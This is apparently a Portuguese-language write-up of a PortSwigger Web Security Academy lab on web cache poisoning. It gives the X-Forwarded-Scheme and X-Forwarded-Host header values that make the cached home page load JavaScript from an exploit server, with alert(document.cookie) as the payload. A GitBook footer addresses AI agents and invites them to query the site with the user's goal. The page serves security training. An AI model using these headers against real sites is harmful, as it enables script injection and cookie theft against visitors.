> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Envenenamento de cache com vários cabeçalhos

Notas sobre envenenamento de cache com vários cabeçalhos para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Envenenamento de cache da web com vários cabeçalhos

Este laboratório apresenta uma vulnerabilidade de envenenamento do cache da web explorável apenas combinando vários cabeçalhos HTTP. / Um usuário visita a página inicial cerca de uma vez por minuto. / O objetivo é envenenar o cache para que a resposta no navegador da vítima acione `alert(document.cookie)`.

**Análise inicial**

* Interceptação da requisição para a raiz do site (`/`).
* A resposta parece estar em cache e ser reutilizada para os visitantes seguintes.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c972b2a8f6da41b936b2e33c2ef4cf47e3634a4%2F%7B0F64DF9A-07F8-4601-BC70-7AFE443A1B12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Cabeçalhos exploráveis descobertos**

* Uso da extensão **Param Miner** para adivinhar cabeçalhos não indexados.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cabda6a4f79b33aff799a9f6d8f1f86faf8de6ca%2F%7BA8EF8A34-8BF4-4542-AC47-69A01DF4B1DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* A ferramenta detecta o cabeçalho **`X-Forwarded-Scheme`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11a76426386aa1e61d08a81634e4376e17fc958a%2F%7B7C3850DE-C0EE-4358-BB2E-E2E6E02221D7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Teste**

* Este cabeçalho indica se a requisição é tratada como vinda de HTTP ou HTTPS.
* Enviando:

```http
X-Forwarded-Scheme: http
```

* O site tenta se comportar como se estivesse sendo servido em HTTP.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ea9c314f4ce92c893ea6d659d10d1486f0f2b6b%2F%7BF21A17E2-5562-4620-A0DB-2B037F9BFB91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Isso causa mau funcionamento e os recursos deixam de ser carregados corretamente devido a redirecionamentos incorretos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f089378d4953b4d4ccfa6a92705c7c05afe478e%2F%7BFE596C33-DFDA-4177-A682-6F25A527807D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Adicione um segundo cabeçalho: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* O site então tenta carregar seus recursos a partir dessa área.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8132a2ac3a8927bec7f367dc1fc01dc28e08fb%2F%7BC10DBE35-F253-4C64-BD92-F618F8A55176%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O carregamento do arquivo JavaScript inclui:

Este script é executado automaticamente ao carregar a página.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c78a9e4d468f72cd437497ccc0b6a1c2d00cda1f%2F%7BDBD08CC4-ACD7-484C-8FFD-4C16D9108FD6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Operação com Servidor de Exploit**

* O objetivo é forçar o carregamento do arquivo JavaScript a partir do Servidor de Exploit.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

No servidor de exploit:

* Crie um arquivo acessível pela URL:

Conteúdo do arquivo:

```javascript
alert(document.cookie)
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85373791f3a795d8fe11ee1bb5b743102e9973db%2F%7BAE1EF4E2-4894-4B50-ACB5-A5478E992741%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

* A página inicial agora carrega o script JavaScript do Servidor de Exploit.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e150a7ba76baca1ccc268d82c69e50f1ffc42f%2F%7B859D4763-5D46-4276-AC29-CCCAA35BC9A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* A resposta envenenada fica oculta.
* Quando um usuário visita a página, o script é executado automaticamente.
* Um alerta exibindo `document.cookie` aparece no navegador da vítima.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1f50ff4ab0bbc570ad3e835881e93f97c34d8db%2F%7B24DB66DC-4961-4D76-B44E-5B70F3D33113%7D.png?alt=media" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
